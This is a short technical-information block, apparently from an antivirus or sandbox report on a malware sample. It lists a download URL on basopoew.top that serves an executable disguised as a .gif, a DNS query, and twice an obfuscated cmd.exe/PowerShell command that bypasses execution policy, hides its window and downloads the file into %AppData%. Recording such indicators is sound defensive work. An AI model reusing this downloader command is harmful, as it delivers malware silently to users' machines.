Техническая информация
- http://www.basopoew.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /C "POweRShELL.EXe -ExeCutIonPOlicy bYpAsS -NopROfiLe -WiNdOWStYLe HIDDeN (NEW-objECt syStem.nEt.WEbclIEnT).dOwNlOaDFiLE('http://www.basopoew.top/read.php?f=1.gif','%AppdaTA%.Ex...
- DNS ASK ba###oew.top
- '<SYSTEM32>\cmd.exe' /C "POweRShELL.EXe -ExeCutIonPOlicy bYpAsS -NopROfiLe -WiNdOWStYLe HIDDeN (NEW-objECt syStem.nEt.WEbclIEnT).dOwNlOaDFiLE('http://www.basopoew.top/read.php?f=1.gif','%AppdaTA%.Ex...' (со скрытым окном)